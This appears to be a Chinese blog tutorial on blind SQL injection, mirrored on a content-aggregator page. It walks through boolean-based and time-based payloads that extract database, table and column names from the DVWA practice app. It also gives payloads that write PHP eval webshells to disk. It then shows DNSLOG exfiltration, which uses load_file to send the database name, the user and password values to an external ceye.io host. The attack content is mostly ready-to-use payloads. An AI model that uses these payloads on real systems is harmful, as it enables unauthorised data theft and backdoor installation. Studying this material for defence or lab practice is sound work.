zoukankan      html  css  js  c++  java
  • SQL Injection(Blind)

    SQL Injection(Blind),即SQL盲注,与一般注入的区别在于,一般的注入攻击者可以直接从页面上看到注入语句的执行结果,而盲注时攻击者通常是无法从显示页面上获取执行结果,甚至连注入语句是否执行都无从得知,因此盲注的难度要比一般注入高。目前网络上现存的SQL注入漏洞大多是SQL盲注。

    0x01分类

    Booleanbase(基于布尔)
    布尔很明显Ture跟Fales,也就是说它只会根据你的注入信息返回Ture跟Fales,也就没有了之前的报错信息。
    Timebase(基于时间)
    界面返回值只有一种,true 无论输入任何值 返回情况都会按正常的来处理。加入特定的时间函数,通过查看web页面返回的时间差来判断注入的语句是否正确

    0x02常用函数

    1
    2
    3
    4
    5
    6
    7
    substr()  substr(string string,num start,num length);
    string为字符串;start为起始位置;length为长度。
    count() 计数函数 count()函数是用来统计表中记录的一个函数,返回匹配条件的行数
    select count(*) from mysql.user where id =1
    ascii()返回对应字符的十进制值
    length() 返回字符串长度
    left() left(str, length),即:left(被截取字符串, 截取长度)

    0x03手工盲注的步骤

    1.判断是否存在注入,注入是字符型还是数字型
    2.猜解当前数据库名
    3.猜解数据库中的表名
    4.猜解表中的字段名
    5.猜解数据

    0x04布尔盲注

    1.判断注入点

    1
    2
    3
    4
    1' or 1=1#
    1' or 1=2#
    如果注入点在order by后面,那么则可以使用判断语句来构造报错。
    select 1 from te order by if(1,1,(select 1 union select 2)) limit 0,3;

    2.进行数据库猜解

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    数据库长度:1' and length(database())=4 #
    数据库名:
    二分法猜解表:通过与ascii码对照,一位一位的得出字符
    1' and ascii(substr(database(),1,1))>97# 页面返回存在
    1’ and 1

    1' and ascii(substr(database(),1,1))>100# 页面返回不存在

    1' and ascii(substr(database(),1,1))<103# 页面返回存在

    1' and ascii(substr(database(),1,1))<100# 页面返回不存在
    最终发现:数据库名的第一位字符的ascii码值为 100,则得到字母d
    重复上述步骤,就可以猜解出完整的数据库名dvwa了

    3.猜表名

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    16
    17
    18
    19
    20
    21
    22
    23
    24
    25
    1' and (select count(table_name) from information_schema.tables where table_schema=database())=1# 显示不存在

    1' and (select count(table_name) from information_schema.tables where table_schema=database())=2 # 显示存在
    得知有 2 个表,继续使用length()函数来猜测表名的长度:
    1' and length(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1))=1# 显示不存在
    User
    guestbook
    1' and length(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1))=2 # 显示不存在
    ···
    1' and length(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1))=9 # 显示存在
    说明第一个表名长度为 9。
    1' and ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),,1))=97 # 显示存在
    User
    U
    99

    1' and ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1,1))<122 # 显示存在
    1' and ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1,1))<109 # 显示存在

    1' and ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1,1))<103 # 显示不存在

    1' and ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1,1))>103 # 显示不存在
    说明第一个表的名字的第一个字符为小写字母g。

    重复上述步骤,即可猜解出两个表名guestbook、users。

    4.猜解表中的字段名
    首先猜解表中字段的数量:

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    1' and (select count(column_name) from information_schema.columns where table_name= 'users')=1 # 显示不存在



    1' and (select count(column_name) from information_schema.columns where table_name= 'users')=8 # 显示存在
    说明users表有 8 个字段。
    接着挨个猜解字段名长度:
    1' and length(substr((select column_name from information_schema.columns where table_name= 'users' limit 0,1),1))=1 # 显示不存在

    1' and length(substr((select column_name from information_schema.columns where table_name= 'users' limit 0,1),1))=7 # 显示存在
    说明users表的第一个字段为 7 个字符长度。
    采用二分法,即可猜解出所有字段名。

    5.猜解数据

    1
    同样采用二分法

    0x05时间盲注

    1.判断是否存在注入,注入是字符型还是数字型

    1
    2
    1' and sleep(5) #感觉到明显延迟;
    1 and sleep(5) #没有延迟;

    2.猜解当前数据库名

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    16
    17
    18
    19
    20
    21
    首先猜解数据名的长度
    1' and if(length(database())=1,sleep(5),1) # 没有延迟

    1' and if(length(database())=2,sleep(5),1) # 没有延迟

    1' and if(length(database())=3,sleep(5),1) # 没有延迟

    1' and if(length(database())=4,sleep(5),1) # 明显延迟

    If函数 IF(expr1,expr2,expr3),如果expr1的值为true,则返回expr2的值,如果expr1的值为false,则返回expr3的值。
    说明数据库名长度为 4 个字符。
    接着采用二分法猜解数据库名:
    1' and if(ascii(substr(database(),1,1))>97,sleep(5),1)# 明显延迟


    1' and if(ascii(substr(database(),1,1))<100,sleep(5),1)# 没有延迟

    1' and if(ascii(substr(database(),1,1))>100,sleep(5),1)# 没有延迟
    说明数据库名的第一个字符为小写字母d。

    重复上述步骤,即可猜解出数据库名

    3.猜解数据库中的表名

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    首先猜解数据库中表的数量:
    1' and if((select count(table_name) from information_schema.tables where table_schema=database() )=1,sleep(5),1)# 没有延迟

    1' and if((select count(table_name) from information_schema.tables where table_schema=database() )=2,sleep(5),1)# 明显延迟
    说明数据库中有两个表。
    接着挨个猜解表名:
    1' and if(length(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1))=1,sleep(5),1) # 没有延迟



    1' and if(length(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1))=9,sleep(5),1) # 明显延迟
    说明第一个表名的长度为 9 个字符。
    采用二分法即可猜解出表名。

    4.猜解表中的字段名

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    首先猜解表中字段的数量:
    1' and if((select count(column_name) from information_schema.columns where table_name= ’users’)=1,sleep(5),1)# 没有延迟



    1' and if((select count(column_name) from information_schema.columns where table_name= ’users’)=8,sleep(5),1)# 明显延迟
    说明users表中有 8 个字段。
    接着挨个猜解字段名:
    1' and if(length(substr((select column_name from information_schema.columns where table_name= ’users’ limit 0,1),1))=1,sleep(5),1) # 没有延迟



    1' and if(length(substr((select column_name from information_schema.columns where table_name= ’users’ limit 0,1),1))=7,sleep(5),1) # 明显延迟
    说明users表的第一个字段长度为 7 个字符。
    采用二分法即可猜解出各个字段名。

    5.猜解数据

    1
    同样采用二分法。

    0x06导出Webshell

    1
    2
    知道物理路径,且有MYSQL的ROOT权限
    1' union select "<?php @eval($_GET['xxx']) ?>",2 into outfile 'C:\phpStudy\WWW\123.php'#

    0x07DNS注入(盲注的眼睛)

    不论是bool型盲注还是时间型盲注,都需要频繁的跑请求才能够获取数据库中的值,在现代WAF的防护下,很可能导致IP被ban。我们可以结合DNSLOG完美快速的将数据取出。如遇到MySql的盲注时,可以利用内置函数load_file()来完成DNSLOG。load_file()不仅能够加载本地文件,同时也能对诸如www.test.com这样的URL发起请求。

    函数

    load_file函数:加载一个文件

    原理

    示例

    Mysql

    1
    2
    3
    4
    5
    1.
    test' and if((select load_file(concat('\\',(select database()),'.fz0bj5.ceye.io\abc'))),1,1)#
    test' and if((select load_file(concat('\\',(select user()),'.fz0bj5.ceye.io\abc'))),1,1)#
    然后查看ceye,成功获取到了数据库名称
    对于表段,由于load_file()一次只能传输一条数据,所以查询的时候需要使用limit来一个一个的解析。

    1
    2
    3
    4
    5
    6
    7
    8
    2.查表名
    test' and if((select load_file(concat('\\',(select table_name from information_schema.tables where table_schema='mkcms' limit 0,1),'.fz0bj5.ceye.io\abc'))),1,1)#
    3.查字段
    test' and if((select load_file(concat('\\',(select column_name from information_schema.columns where table_name='mkcms_user' limit 0,1),'.fz0bj5.ceye.io\abc'))),1,1)#
    4.查字段值
    test' and if((select load_file(concat('\\',(select u_password from mkcms_user limit 0,1),'.fz0bj5.ceye.io\abc'))),1,1)#
    5.导出webshell(知道物理路径且Mysql为root权限)
    test' union select "<?php @eval($_POST['wade']); ?>" into outfile 'C:\phpstudy\www\wade.php'#
  • 相关阅读:
    Autofac 学习简易教程随笔(一)
    实现Entity Framework SQLite Code First 开发
    Entity Framework SQLite 开发及实现简单的自定义Migration Engine
    MSSQLServer和SQL Server Express、LocalDB的区别
    .gitignore文件
    Entity Framework MSSQL Code First 开发
    页面为要加<!DOCTYPE html>
    数字图像处理(下)
    数字图像处理(上)
    列表
  • 原文地址:https://www.cnblogs.com/ihacker/p/11370169.html
Copyright © 2011-2022 走看看